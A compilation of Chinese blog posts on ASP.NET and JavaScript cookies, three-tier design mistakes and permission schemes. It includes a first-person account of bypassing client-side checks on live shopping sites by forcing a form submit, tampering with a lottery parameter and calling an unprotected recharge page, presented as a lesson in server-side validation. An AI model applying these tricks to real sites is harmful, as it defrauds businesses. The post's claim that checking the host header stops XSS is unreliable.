    <script type="text/javascript">

        function WriteCookie() {

            var cookie= "cookie_js=22222222; path=/";

            document.cookie = cookie;

        }   

    </script>

    在JS中写Cookie很简单,只要给document.cookie赋值一个Cookie字符串即可,至于格式,可以参考前面用Fiddle看到的结果。

    再来看一下如何使用JS读取Cookie吧。请参考如下代码:

    <input type="button"οnclick="ReadCookie();" value="ReadCookie"/>

     

    <script type="text/javascript">

        function ReadCookie() {

            alert(document.cookie);

        }   

    </script>

    仍然是访问document.cookie,不过,这次我们得到却是全部的Cookie值,每个Key/Value项用分号分开,中间则用等号分开。 所以,如果您想在JS中读取Cookie,一定要按照这个规则来拆分并解析您要读取的Cookie项。鉴于这样的操作有些繁琐,我们可以jquery.cookie.js插件来轻松完成这个功能,有兴趣的朋友也可以看一下它是如何处理的。这个插件的代码比较少,这里就直接贴出, 点击此处展开

    /**

     * Create a cookie with the givenname and value and other optional parameters.

     *

     * @example $.cookie('the_cookie','the_value');

     * @desc Set the value of a cookie.

     * @example $.cookie('the_cookie','the_value', {expires: 7, path: '/', domain: 'jquery.com', secure: true});

     * @desc Create a cookie with allavailable options.

     * @example $.cookie('the_cookie','the_value');

     * @desc Create a session cookie.

     * @example $.cookie('the_cookie',null);

     * @desc Delete a cookie by passingnull as value.

     *

     * @param String name The name ofthe cookie.

     * @param String value The value ofthe cookie.

     * @param Object options An objectliteral containing key/value pairs to provide optional cookie attributes.

     * @option Number|Date expiresEither an integer specifying the expiration date from now on in days or a Dateobject.

     *                             If a negative value is specified (e.g. a datein the past), the cookie will be deleted.

     *                             If set to null oromitted, the cookie will be a session cookie and will not be retained

     *                             when the the browserexits.

     * @option String path The value ofthe path atribute of the cookie (default: path of page that created thecookie).

     * @option String domain The valueof the domain attribute of the cookie (default: domain of page that created thecookie).

     * @option Boolean secure If true,the secure attribute of the cookie will be set and the cookie transmission will

     *                        require a secureprotocol (like HTTPS).

     * @type undefined

     *

     * @name $.cookie

     * @cat Plugins/Cookie

     * @author KlausHartl/klaus.hartl@stilbuero.de

     */

     

    /**

     * Get the value of a cookie withthe given name.

     *

     * @example $.cookie('the_cookie');

     * @desc Get the value of a cookie.

     *

     * @param String name The name ofthe cookie.

     * @return The value of the cookie.

     * @type String

     *

     * @name $.cookie

     * @cat Plugins/Cookie

     * @author KlausHartl/klaus.hartl@stilbuero.de

     */

    jQuery.cookie = function(name, value, options) {

        if (typeof value != 'undefined') { // name and valuegiven, set cookie

            options = options || {};

            if (value === null) {

                value = '';

                options.expires = -1;

            }

            var expires = '';

            if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)){

                var date;

                if (typeof options.expires == 'number') {

                    date = new Date();

                   date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000));

                } else {

                    date = options.expires;

                }

                expires = '; expires=' + date.toUTCString();// use expiresattribute, max-age is not supported by IE

            }

            var path = options.path ? '; path=' + options.path : '';

            var domain = options.domain ? '; domain=' + options.domain : '';

            var secure = options.secure ? '; secure' : '';

            document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');

        } else { // only name given, get cookie

            var cookieValue = null;

            if (document.cookie && document.cookie != '') {

                var cookies = document.cookie.split(';');

                for (var i = 0; i < cookies.length; i++) {

                    var cookie = jQuery.trim(cookies[i]);

                    // Does this cookiestring begin with the name we want?

                    if (cookie.substring(0, name.length + 1) == (name + '=')) {

                        cookieValue = decodeURIComponent(cookie.substring(name.length+ 1));

                        break;

                    }

                }

            }

            return cookieValue;

        }

    };

    注意哦:前面我们看到了HttpCookie有个HttpOnly属性,如果它为true,那么JS是读不到那个Cookie的,也就是说:我们如果在服务端生成的Cookie不希望在JS中能被访问,可以在写Cookie时,设置这个属性。不过,通过一些工具,还是可以看到它们。

    接下来,我们再来看看Asp.net中Cookie有哪些应用。

    Cookie在Session中的应用

    在Asp.net中,HttpContext, Page对象都有个Session的对象,我们可以使用它来方便地在服务端保存一些与会话相关的信息。
    前面我们也提到过,HTTP协议是无状态的,对于一个浏览器发出的多次请求,WEB服务器无法区分是不是来源于同一个浏览器。 所以,为了实现会话,服务端需要一个会话标识ID能保存到浏览器,让它在后续的请求时都带上这个会话标识ID,以便让服务端知道某个请求属于哪个会话,这样便可以维护与会话相关的状态数据。由于Cookie对于用户来说,是个不可见的东西,而且每次请求都会传递到服务端,所以它就是很理想的会话标识ID的保存容器。在Asp.net中,默认也就是使用Cookie来保存这个ID的。注意:虽然Asp.net 2.0 也支持无Cookie的会话,但那种方式要修改URL,也有它的缺点,因此这种方法并没有广泛的使用。本文将不对这个话题做过多的分析,就此略过无Cookie会话这种方式。

    我们来看看Session是如何使用Cookie来保存会话标识ID的,在默认的Asp.net配置中,Web.config有着如下定义:

    <sessionState mode="InProc"cookieName="ASP.NET_SessionId" cookieless="UseCookies"></sessionState>

     

    如果我们执行以下操作:

    Session["Key1"] = DateTime.Now;

     

    此时,我们可以使用一些浏览器提供的工具来查看一下现在的Cookie情况。

    从图片上看,这个Cookie的名字就是我们在配置文件中指出的名称,我们可以修改一下配置文件:

    <sessionState cookieName="SK"></sessionState>

     

    再来执行上面的写Session的操作,然后看Cookie

    我们可以看到:SK的Cookie出现了。说明:在截图时我把名称为"ASP.NET_SessionId"的Cookie删除了。

    通过上面示例,我们可以得到结论,Session的实现是与Cookie有关的,服务端需要将会话标识ID保存到Cookie中。
    这里再一次申明,除非你使用无Cookie的会话模式,否则Session是需要Cookie的支持。反过来,Cookie并不需要Session的支持。

    Cookie在身份验证中的应用

    我想很多人都在Asp.net的开发中使用过Form身份认证。对于一个用户请求,我们可以在服务端很方便地判断它是不是代表一个已登录用户。

    this.labStatus.Text= (Request.IsAuthenticated ? "已登录" : "未登录");

     

    那么,您有没有好奇过:Asp.net是如何识别一个请求是不是一个已登录用户发起的呢?说到这里,我们就要从用户登录说起了。为了实现登录及Form认证方式,我们需要如下配置:

    <authentication mode="Forms">

        <forms name="UserStatus"></forms>

    </authentication>

    接下来,我们需要实现用户登录逻辑。具体实现方式有很多,不过,最终的调用都是差不多的,如下代码所示:

    private void SetLogin()

    {

        System.Web.Security.FormsAuthentication.SetAuthCookie("fish", false);

    }

    只要执行了以上代码,我们就可以看到,前面的判断【Request.IsAuthenticated】返回true,最终会显示"已登录"。为了探寻这个秘密,我们还是来看一下当前页面的Cookie情况。

    果然,多出来一个Cookie,名称与我在配置文件中指定的名称相同。我们再来看看如果注销当前登录会是什么样子的:

    private void SetLogout()

    {

        System.Web.Security.FormsAuthentication.SignOut();

    }

    看到了吗,名为"UserStatus"的Cookie不见了。此时如果你再去观察【Request.IsAuthenticated】,可以发现它此时返回false。或者,您也可以再试一次,登录后,直接删除名为"UserStatus"的Cookie,也能发现登录状态将显示"未登录"。或许,您还是有点不清楚前面我调用【System.Web.Security.FormsAuthentication.SetAuthCookie("fish",false);】后,Asp.net做了些什么,回答这个问题其实很简单:自己用Reflector.exe去看一下Asp.net的实现吧。
    这里为了更让您能信服登录与Cookie有关,我将直接创建一个Cookie看一下 Asp.net能不能认可我创建的Cookie,并认为登录有效。请看代码:

    private void SetLogin()

    {

        //System.Web.Security.FormsAuthentication.SetAuthCookie("fish",false);

     

        // 下面的代码和上面的代码在作用上是等效的。

        FormsAuthenticationTicket ticket= newFormsAuthenticationTicket(

            2, "fish", DateTime.Now,DateTime.Now.AddDays(30d), false, string.Empty);

        stringstr = FormsAuthentication.Encrypt(ticket);

     

        HttpCookie cookie = newHttpCookie(FormsAuthentication.FormsCookieName,str);

        Response.Cookies.Add(cookie);

    }

    如果执行这段代码,您将发现:【Request.IsAuthenticated】返回true,登录状态会显示"已登录"。
    至此,我们可以得出一个结论: Form身份认证依赖Cookie,Asp.net就是每次检查我们在配置文件中指定的Cookie名称,并解密这个Cookie来判断当前请求用户的登录状态。

    Cookie的安全状况

    从以上图片,您应该能发现:浏览器能提供一些界面让用户清楚的观察我们在服务端写的Cookie,甚至有些浏览器还提供很方便的修改功能。如下图所示:

    所以,我们在服务端写代码读取Cookie时,尤其是涉及类型转换、反序列化或者解密时,一定要注意这些操作都有可能会失败。而且上图也清楚的反映了一个事实:Cookie中的值都是“一目了然”的,任何人都能看到它们。所以,我们尽量不要直接在Cookie中保存一些重要的或者敏感的内容。如果我们确实需要使用Cookie保存一些重要的内容,但又不希望被他人看懂,我们可以使用一些加密的方法来保护这些内容。

    1. 对于一些重要性不高的内容,我们可以使用Base64之类的简单处理方式来处理。

    2. 对于重要性相对高一点的内容,我们可以利用.net提供的一些加密工具类,自己来设计加密方法来保护。不过,密码学与加密解密并不是很简单的算法,因此,自己设计的加密方式可能不会很安全。

    3. 重要的内容,我们可以使用.net提供的FormsAuthenticationTicket,FormsAuthentication来加密。我认为这种方式还是比较安全的。毕竟前面我们也看过了,Asp.net的Form身份认证就是使用这种方式来加密用户登录的身份标识的,所以,如果这种方式不安全,也就意味着Asp.net的身份认证也不安全了。如果您使用这种方式来加密,那么请注意:它产生的加密后文本还是比较大的,前面我也提到过,每次请求时,浏览器都会带上与请求相匹配的所有Cookie,因此,这种Cookie会对传输性能产生一定的影响,所以,请小心使用,切记不可过多的使用。

    这里要补充一下:去年曾经出现过【Padding Oracle Attack】这个话题,一些人甚至错误的认为是Asp.net加密方式不安全!如果您也是这样认为的,那么可以看一下这篇文章:浅谈这次ASP.NET的Padding Oracle Attack相关内容 ,以消除这个错误的认识。当然了,我们也可以从这个话题得到一些收获:解密失败时,不要给出过多的提示,就当没有这个Cookie存在。

    如何在C#发请的请求中使用Cookie

    前面我们一直在谈服务端与浏览器中使用Cookie,其实浏览器也是一个普通的应用程序,.netframework也提供一些类也能让我们直接发起HTTP请求,下面我们来看一下如何在C#发请的请求中使用Cookie ,其实也很简单,主要是使用了CookieContainer类,请看以下演示代码:

    private static string SendHttpRequestGet(string url,Encoding encoding,

                CookieContainer cookieContainer)

        {

            if( string.IsNullOrEmpty(url))

                throw new ArgumentNullException("url");

     

            if(encoding == null )

                throw new ArgumentNullException("encoding");

     

            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);

            request.Method= "GET";

            request.CookieContainer= cookieContainer;

           

            using( WebResponse response = request.GetResponse()) {

                using( StreamReader reader = new StreamReader(response.GetResponseStream(),encoding) ) {

                    return reader.ReadToEnd();

                }

            }

        }

     

        privatevoid SendHttpDEMO()

        {

            StringBuilder sb = new StringBuilder();

            CookieContainer cookieContainer = new CookieContainer();

     

            string url = "http://www.taobao.com";

            SendHttpRequestGet(url, Encoding.Default,cookieContainer);

     

            // 后面可以继续发起HTTP请求,此时将会包含上次从服务器写入的Cookie

            //SendHttpRequestGet("同域名下的其它URL", Encoding.Default,cookieContainer);

     

            // 至此,我们可以显示取得了哪些Cookie

            CookieCollection cookies = cookieContainer.GetCookies(new Uri(url));

            if(cookies != null ) {

                foreach(System.Net.Cookiecookie in cookies)

                    sb.AppendLine(cookie.ToString());

            }

            txtCookies.Text= sb.ToString();

        }

    重构与使用总结

    在前面的Asp.net示例代码中,我一直使用.net提供的HttpCookie类来操作Cookie,是为了展示用原始的方式来使用Cookie,这些代码有点重复,也有点繁琐,为此,我提供了几个简单的方法可以更容易的使用Cookie,也算是对Cookie使用的一个总结。

    /// <summary>

    /// 用于方便使用Cookie的扩展工具类

    /// </summary>

    public static class CookieExtension

    {

        // 我们可以为一些使用频率高的类型写专门的【读取】方法

     

        ///<summary>

        /// 从一个Cookie中读取字符串值。

        ///</summary>

        /// <paramname="cookie"></param>

        /// <returns></returns>

        publicstatic string GetString(this HttpCookie cookie)

        {

            if(cookie == null )

                return null;

     

            return cookie.Value;

        }

     

        ///<summary>

        /// 从一个Cookie中读取 Int 值。

        ///</summary>

        /// <paramname="cookie"></param>

        /// <paramname="defaultVal"></param>

        /// <returns></returns>

        publicstatic int ToInt(this HttpCookie cookie, int defaultVal)

        {

            if(cookie == null )

                return defaultVal;

     

            return cookie.Value.TryToInt(defaultVal);

        }

     

        ///<summary>

        /// 从一个Cookie中读取值并转成指定的类型

        ///</summary>

        /// <typeparamname="T"></typeparam>

        /// <paramname="cookie"></param>

        /// <returns></returns>

        publicstatic T ConverTo<T>(thisHttpCookie cookie)

        {

            if(cookie == null )

                return default(T);

     

            return (T)Convert.ChangeType(cookie.Value,typeof(T));

        }

     

        ///<summary>

        /// 从一个Cookie中读取【JSON字符串】值并反序列化成一个对象,用于读取复杂对象

        ///</summary>

        /// <typeparamname="T"></typeparam>

        /// <paramname="cookie"></param>

        /// <returns></returns>

        publicstatic T FromJson<T>(thisHttpCookie cookie)

        {

            if(cookie == null )

                return default(T);

     

            return cookie.Value.FromJson<T>();

        }

     

     

        ///<summary>

        /// 将一个对象写入到Cookie

        ///</summary>

        /// <paramname="obj"></param>

        /// <paramname="name"></param>

        /// <paramname="expries"></param>

        publicstatic void WriteCookie(this object obj, string name, DateTime? expries)

        {

            if(obj == null)

                throw new ArgumentNullException("obj");

     

            if( string.IsNullOrEmpty(name))

                throw new ArgumentNullException("name");

           

     

            HttpCookie cookie= newHttpCookie(name, obj.ToString());

     

            if(expries.HasValue )

                cookie.Expires= expries.Value;

     

            HttpContext.Current.Response.Cookies.Add(cookie);

        }

     

        ///<summary>

        /// 删除指定的Cookie

        ///</summary>

        /// <paramname="name"></param>

        publicstatic void DeleteCookie(string name)

        {

            if( string.IsNullOrEmpty(name))

                throw new ArgumentNullException("name");

     

            HttpCookie cookie= newHttpCookie(name);

     

            // 删除Cookie,其实就是设置一个【过期的日期】

            cookie.Expires = new DateTime(1900, 1, 1);

            HttpContext.Current.Response.Cookies.Add(cookie);

        }

    }

     

    更完整的代码可以从本文的示例代码中获得。(文章底部有下载地址)

    使用方式:

    public static class TestClass

    {

        publicstatic void Write()

        {

            string str = "中国";

            int aa = 25;

            DisplaySettings setting = new DisplaySettings {Style = 3, Size = 50 };

            DateTime dt = newDateTime(2012, 1, 1, 12, 0, 0);

     

            str.WriteCookie("Key1", DateTime.Now.AddDays(1d));

            aa.WriteCookie("Key2", null);

            setting.ToJson().WriteCookie("Key3", null);

            dt.WriteCookie("Key4", null);

        }

     

        publicstatic void Read()

        {

            HttpRequest request = HttpContext.Current.Request;

     

            string str = request.Cookies["Key1"].GetString();

            int num = request.Cookies["Key2"].ToInt(0);

            DisplaySettings setting = request.Cookies["Key3"].FromJson<DisplaySettings>();

            DateTime dt = request.Cookies["Key4"].ConverTo<DateTime>();

        }   

    }

     

    注意哦:以上代码中都是直接使用字符串"Key"的形式,这种方式对于大一些的程序在后期可能会影响维护。
    所以建议:将访问Cookie所使用的Key能有一个类来统一的定义,或者将读写操作包装成一些属性放在一个类中统一的管理。

    public static class CookieValues

    {

        // 建议把Cookie相关的参数放在一起,提供 get / set 属性(或者方法)来访问,以避免"key"到处乱写

     

        publicstatic string AAA

        {

            get { return HttpContext.Current.Request.Cookies["Key1"].GetString(); }

        }

        publicstatic int BBB

        {

            get { return HttpContext.Current.Request.Cookies["Key2"].ToInt(0); }

        }

        publicstatic DisplaySettings CCC

        {

            get { return HttpContext.Current.Request.Cookies["Key3"].FromJson<DisplaySettings>(); }

        }

        publicstatic DateTime DDD

        {

            get { return HttpContext.Current.Request.Cookies["Key4"].ConverTo<DateTime>(); }

        }

    }

    补充

    根据一些朋友提供的反馈,这里再补充4个需要注意的地方:

    1. 如果使用Form登录验证且希望使用Cookie方式时,建议设置cookieless="UseCookies",因为这个参数的默认值是:cookieless="UseDeviceProfile",Asp.net可能会误判。 dudu就吃过亏。

    <authentication mode="Forms">

        <forms name="MyCookieName" cookieless="UseCookies"></forms>

    </authentication>

    2. Cookie有3个属性,一般我们可以不用设置,但它们的值可以在Web.config中指定默认值:

    <httpCookies domain="www.123.com"httpOnlyCookies="true" requireSSL="false"/>

    3. 虽然在写Cookie时,我们可以设置name, value之外的其它属性,但是在读取时,是读不到这些设置的。其实在我的示例代码中有体现,我前面也忘记了说明了。

    4. HttpRequest.Cookies 与HttpResponse.Cookies 会有关系(很奇怪吧)。
    以下代码演示了这个现象:

    protected void Page_Load(object sender,EventArgs e)

    {

        DateTime.Now.ToString().WriteCookie("t1", null);

     

        label1.Text= ShowAllCookies();

     

        Guid.NewGuid().ToString().WriteCookie("t2", null);

     

        // 如果去掉下面代码,将会看到2个t1

        Response.Cookies.Remove("t1");

        Response.Cookies.Remove("t2");

    }

     

    private string ShowAllCookies()

    {

        StringBuilder sb = newStringBuilder();

     

        for( inti = 0; i < Request.Cookies.Count;i++ ) {

            HttpCookie cookie= Request.Cookies[i];

            sb.AppendFormat("{0}={1}<br />", cookie.Name,cookie.Value);

        }

     

        returnsb.ToString();

    }

    上面的试验代码将会一直显示 t1 的Cookie ,这里就不再贴图了。

    好了,就到这里吧。本文的所有示例代码可以点击此处下载。

    二天时间写此文,希望能给您一点收获。如果认为此文对您有帮助,别忘了支持一下哦。

    _______________________________________________________________________________________________________________________________________________________________三层开发中容易犯的错误

    前记:

    相信大家对三层开发都已经耳熟能详,可是我却发现新公司的既有代码中有一些违背分层开发思想的东西,现在与大家分享这些错误,我们共勉之。

    如果有人觉得对三层开发拿捏得不是太准,请参照李天平的文章:分层开发思想与小笼包,这篇文章用隐喻说明分层开发,是非常好的一篇文章。

    正文:

    1.界面层参与非界面逻辑,抢业务逻辑层的饭碗

    什么是界面逻辑:

    界面层应该有的逻辑就是显示的逻辑,例如根据逻辑结果显示某一个Panel不显示另外一个Panel,或者有一个数据集应该在界面上怎么呈现,这是界面层的逻辑

    例子场景:

    用户登录时首先验证用户输入的用户名是否有效,如果用户名有效,然后再验证用户输入的密码是否和用户名匹配,如果匹配则表示用户可以登录,增加用户的登录次数,然后将用户的信息写入Session中;否则返回错误。在这个过程中除了将用户信息写入Session这一步属于界面逻辑以外其他的操作都应该放在业务逻辑层。

    错误代码示例:

    private void buttonLogin_Click(object sender, EventArgsev)
    {
    string userName =textBoxUserName.Text;
    string password =textPassword.Text;

    if (Business.Account.Exists(userName))
    {
    bool success = Business.Account.Login(userName, password);
    if (success)
    {
    Business.Account.AddLoginTime(userName);

    Session["user"]= new User(userName,password);
    Redirect("/");
    }
    else
    {
    this.labelMessage.Text ="登录失败。";
    }
    }
    else
    {
    this.lableMessage.Text ="用户名不存在。";
    }
    }

    分析:在上面的代码中一个UI层的一个事件中调用了三次rules层的方法:

    Business.Account.Exists(userName)

    Business.Account.Login(userName,password)

    Business.Account.AddLoginTime(userName);

    还附加有条件判断,这种方法在执行效果上面是没有什么错误的,可是却造成了逻辑前移;本来应该在逻辑层执行的判断放在了界面层,是不合适的。

    2.数据访问层参与了大量的业务逻辑

    这种现象经常出现在大量使用存储过程的系统中,将一大堆逻辑统统放在一个存储过程中实现了,乍一看可能很有效率,其实造成了系统结构的失调,给维护带来困难,数据访问层甚者数据库要抢逻辑层的饭碗了。

    还以用户登录为例:

    下面是业务逻辑层的登录方法:

    //业务逻辑层的登录方法
    public int Login(string userName, string password)
    {
    returnDataAccess.UserAccount.Login(userName, password);
    }

     

    下面是数据层的登录方法:

    //数据访问层的登录方法
    public int Login(string userName, string password)
    {
    SqlParameter[]parameters = new SqlParameter[]{
    //
    };
    returnSqlHelper.ExecuteProcedure("Login",parameters);
    }

     

    下面是登录的存储过程:

    CREATE PROC Login
    @userName varchar(20),
    @password varchar(20)
    AS
    IF NOT EXISTS(SELECT * FROM UserAccount WHERE UserName = @userName)
    RETURN -1
    IF NOT EXISTS(SELECT * FROM UserAccount WHERE UserName = @userName AND password = @password)
    RETURN 1

    UPDATE UserAccount
    SET LoginTimes = LoginTimes + 1
    WHERE UserName = @userName

    RETURN 0

     

    分析:从上面三段代码中我们可以很显然得看到登录的业务逻辑已经全部被后移到了数据库的存储过程中。这样使用的三层结构就失去了意义,逻辑层名存实亡了;而数据库的压力会越来越大;我们修改业务逻辑的时候不是到逻辑层修改,而是要到数据库中去修改了。

    3.将界面层上的数据组件(如SqlDataSource)作为参数传递到业务逻辑层去赋值

    这样做的坏处很明显,本来是界面层依赖于业务逻辑层的,现在业务逻辑层反过来去依赖界面层的类,需要逻辑层引用System.Web命名空间,显然是错误的。

    4.为了省事儿,不是直接将参数传递到业务逻辑层,而是通过HttpContext直接获得界面层应该传递的参数

    例子:在系统设计的初期没有记录用户登录的IP地址,而到了后期发现了这个问题,要求纪录用户IP了,为了不修改业务逻辑层方法的定义,也不用修改界面层的调用方法,于是便写出了下面的代码:

    public int Login(string userName, string password)
    {
    string userIP =System.Web.HttpContext.Current.Request.UserHostAddress;
    //follow is login steps
    }

    这一点犯的错误和3中的错误相同,导致层之间形成了依赖环。

    5.将事务处理放在数据访问层来做

    事务处理应该放在业务逻辑层处理,原因是

    1)事务的划分是根据业务逻辑来定义的,通常一个事务就代表完成了一个完整的逻辑操作;

    2)一个业务逻辑可能有几个数据操作,修改几个表中的数据,而通常数据层的类的划分是根据数据库表来划分的,如果把事务处理放在数据访问层,那么业务层的方法需要调用两个以上的数据层方法时,就会出现执行两个事务的情况,显然这是不合理的。

    总结:

    1.在三层结构的划分中我们应该使三层各负其责,谁也不能越权,谁也不能懒惰,通常情况下,逻辑层应该在满足各负其责的条件下,尽可能的厚。

    2.三层结构中的依赖关系很明确,界面层依赖于逻辑层,逻辑层依赖于数据访问层,不能互相依赖,而形成依赖环。

    -------------________________________________________________________________________________________________________________________________________________________为什么不能只用前台js验证[必须结合后台验证]

    自从9月份在同事推荐下在某团购网买了一份火锅的套餐后,就迷上了,几乎每天必去浏览一遍,看看有什么又便宜又好吃的。

    元旦期间当然也不例外,1号那天上午,看到了XXX团购网的“VIP会员0元领红包”活动,0元?我最喜欢了,虽然参与过

    很多次0元抽奖的活动,一次也没中,但是人总是有一种信念相信自己的运气的。于是果断进去注册,点击购买,进入了购物车

    再点击确认订单,恩?怎么alert这么一句“本活动只限VIP会员参与”?我第一反应是去看页面源代码(由于该活动已经结束,

    进不去购买页面了,所以在这里我只好用伪代码来表示):

    //确认订单按钮的点击事件
    function btn_click(){
         ajax获取当前用户的类型
        如果不是VIP,alert("本活动仅限VIP会员参与");
         否则form1.submit();
    }

    然后我在地址栏敲入:javascript:form1.submit(); 回车! 进入付款页面了,再点击确定,恩?购买成功!我获得了5元红包!

    太给力了!!!我又新注册一个账号,重复上面的步骤,也成功获得了5元红包。

    马上给客服留言说明此BUG,不过到今天还没回复我,呵呵。

    这个漏洞的关键点是开发人员忘记了在form1.submit()的后台代码中判断当前用户是否VIP会员,只依赖于javascript的验证。

    前台的验证顶啥用啊,完全可以绕过去,后台的验证才最重要!!

    有了上午的收获,1号晚上我就继续找别的团购网的漏洞,果然被我找到一个更严重的。

    该团购网也举行了一个元旦抽奖砸金蛋活动,也是免费参与,购买后发现得邀请好友参与活动才有砸金蛋的机会,邀请一个好友就多一

    个机会,如图:

    我一点击金蛋就alert一句“没有抽奖机会了快去邀请好友吧!”,恩,又是javascript?看看代码先:

    这便是金蛋的点击事件,其中有一个用AJAX去访问的页面lottery1.php,而要传过去的chance变量应该就是当前用户拥有的砸蛋机会。

    我试着直接访问lottery1.php?chance=1,返回error字符串,lottery1.php?chance=0也返回error,lottery1.php?chance=-1,也

    返回error,难道没效果么?我刷新了一下砸金蛋的页面,哇!!

    我传了-1过去导致溢出了?我试着砸了几个,每次都成功获得代金卷!!太给力了。接着试着用代金卷去下单,也能成功减免掉几块钱,

    不过一张订单只能用一个代金卷,呵呵(当然测试用的订单我最后取消掉了,本人还没那么邪恶,哇咔咔)

    马上联系客服,居然下班了,QQ不在线,电话打不通,只好留了个言。

    接下来干嘛呢?砸蛋呗!42亿的金蛋呢,写了段JS自动砸!截止现在一共有3588个金蛋被砸开,其中至少有2000多个是我砸的,哇咔咔

    得到了一大堆的代金卷:

    整整185页,呵呵,蛮壮观的!!!

    到了2号,我重新查看该团购网的代码时,发现了一个更严重的问题:

    JS中有这么个方法

    乍一看是跟钱有关的吧,传入用户ID和钱的数目,试试有什么效果。

    用户ID怎么获得呢?别急,页面上有:

    这个96204就是我当前帐户的ID了,访问了一下,返回“线下充值成功”,哇,这么给力?充值页面都不加权限验证的?

    查看了一下帐户余额,果然充值成功了:

    哥有2万余额了,哇咔咔!!这个漏洞太致命了,立马给客服留言。刚留完言,他们的开发人员给我打电话了,和我讨论

    砸金蛋的漏洞问题,正好将刚发现的漏洞一起告诉他。开发人员就是命苦啊,元旦期间,晚上10点多了,他还要改代码。

    改完他说老板可能送点礼品给我,好期待啊,呵呵。

    最后他把我的帐户余额清零了,我在心里呼喊:不~要~啊,我的2万元啊~~~~~~~~

    总结一下:前台的验证都是不靠谱的,后台必要都要验证一遍;管理页面一定要加访问权限;传递到后台的数据一定要

    进行合法性验证;不必要传递的参数就不传,比如那个砸蛋,我就想不明白为什么要把当前用户拥有的砸蛋机会传递到

    后台,直接从数据库中读取不行么?用户ID不要以明文出现。另外还要防范XSS跨站脚本攻击(一般用判断主机头的方式)

    ______________________________________________________________________________________________________________________________________________________________

     

    应用程序权限设计思路(二)

    对于权限问题,我觉得需要抓住下面的这四个问题;

    1、我们的软件里面有哪些功能?
    2、哪些人可以访问到哪些功能结点?
    3、访问到了页面后可以做哪些事情?(查询、添加、修改、删除、导出、打印等)
    (原来的说法:详细权限的划分)
    4、在同一个页面里哪些人可以看到那些信息
    (原来的说法:资源的访问权限)

    这是我的个人见解,是通过几个项目总结出来的,如果不全面、或者不正确的话,欢迎大家及时指正,共同努力、共同提高!

    我设计了下面的这几个表,来解决这些问题。这里我只想表示表之间的关联,至于字段我只是写了几个主要的,字段的设计嘛,大家肯定各有各的方式,我想我写出来主要的就可以了。



    我的英文比较差,还是直接用中文吧,这样更直接一些。

    如果看图不太清楚的话,可以到这里下载 visio 格式的文件。http://www.cnblogs.com/jyk/archive/2008/04/25/1170979.html

    先来看第一个问题,[项目—功能结点]和[项目—节点拥有的详细权限] 这两个表记录了项目里面有哪些功能结点和详细的功能,
    [项目—功能结点] 功能节点,可以通过这个表来呈现左面的功能树。记录打开的页面和相关的信息。
    [项目—节点拥有的详细权限]按钮组,一个功能节点(主要是列表页面)有哪些按钮,比如“添加”按钮,“修改”按钮等。记录按钮的名称、打开的页面和相关的信息。

    这两个表是在设计阶段完成的,程序员可以根据这个来实现功能。

    解决了第一个问题后,第二个问题就好办了,[项目—角色] 和 [角色拥有的功能结点]来实现。
    [项目—角色] 记录项目里面有哪些角色。
    [角色拥有的功能结点] 记录一个角色拥有哪些功能结点,功能结点里面有哪些具体的操作(添加、修改等)

    不知道大家的项目的角色是在什么时候诞生的,是在设计的时候吗?还是程序做好之后由用户自己设计?我的做法是后者。因为客户比我们更清楚需要多少角色,需要什么样的角色,一个角色里有哪些功能更合适。

    我们可以做一个维护程序,让客户自行添加。先在角色表里添加一个角色,然后选择角色可以看到的功能页面,最后选择在这个功能结点里可以做的操作(添加、修改等)。这样一个角色就诞生了。

    角色有了之后,就可以给人员分配角色,或者是往角色里添加人员。这样就解决了哪些人可以访问哪些功能节点的问题。

    其实在设计角色的时候就把第三个问题也搞定了。

    【添加角色的截图】




    操作也是比较方便的,当点击“计划和日志”前面的方框(打对号)的时候会自动展开下面的子结点和子子节点,然后这些节点都会被选中,后面的按钮也会被选中。
    当选中“工作日志”的时候,上面的节点和后面的按钮也会被选中。

    上面的信息全部来自数据库,也就是第一个图里的哪些表。


    第四个问题还没有更好的解决方法,目前只能在程序里面硬编码。

    __________________________________________________________________________________________________________________________________________________________________应用程序权限设计

    我们在开发系统的时候,经常会遇到系统需要权限控制,而权限的控制程度不同有不同的设计方案。

    1. 基于角色的权限设计

    这种方案是最常见也是比较简单的方案,不过通常有这种设计已经够了,所以微软就设计出这种方案的通用做法,这种方案对于每一个操作不做控制,只是在程序中根据角色对是否具有操作的权限进行控制;这里我们就不做详述

    2. 基于操作的权限设计

    这种模式下每一个操作都在数据库中有记录,用户是否拥有该操作的权限也在数据库中有记录,结构如下:


    但是如果直接使用上面的设计,会导致数据库中的UserAction这张表数据量非常大,所以我们需要进一步设计提高效率,请看方案3

    3. 基于角色和操作的权限设计


    如上图所示,我们在添加了Role,和RoleAction表,这样子就可以减少UserAction中的记录,并且使设计更灵活一点。

    但是这种方案在用户需求的考验之下也可能显得不够灵活够用,例如当用户要求临时给某位普通员工某操作权限时,我们就需要新增加一种新的用户角色,但是这种用户角色是不必要的,因为它只是一种临时的角色,如果添加一种角色还需要在收回此普通员工权限时删除此角色,我们需要设计一种更合适的结构来满足用户对权限设置的要求。

    4. 2,3组合的权限设计,其结构如下:


    我们可以看到在上图中添加了UserAction表,使用此表来添加特殊用户的权限,改表中有一个字段HasPermission可以决定用户是否有某种操作的权限,改表中记录的权限的优先级要高于UserRole中记录的用户权限。这样在应用程序中我们就需要通过UserRole和UserAction两张表中的记录判断权限。

    到这儿呢并不算完,有可能用户还会给出这样的需求:对于某一种action所操作的对象某一些记录会有权限,而对于其他的记录没有权限,比如说一个内容管理系统,对于某一些频道某个用户有修改的权限,而对于另外一些频道没有修改的权限,这时候我们需要设计更复杂的权限机制。

    5. 对于同一种实体(资源)用户可以对一部分记录有权限,而对于另外一些记录没有权限的权限设计:


    对于这样的需求我们就需要对每一种不同的资源创建一张权限表,在上图中对Content和Channel两种资源分别创建了UserActionContent和UserActionChannel表用来定义用户对某条记录是否有权限;这种设计是可以满足用户需求的但是不是很经济,UserActionChannel和UserActionContent中的记录会很多,而在实际的应用中并非需要记录所有的记录的权限信息,有时候可能只是一种规则,比如说对于根Channel什么级别的人有权限;这时候呢我们就可以定义些规则来判断用户权限,下面就是这种设计。

    6. 涉及资源,权限和规则的权限设计


    在这种设计下角色的概念已经没有了,只需要Rule在程序中的类中定义用户是否有操作某种对象的权限。

    以上只是分析思路,如果有不对的地方,请大家指正。

    ______________________________________________________________________________________________________________________________________________________________________悟透JavaScript,对JavaScript的深入理解

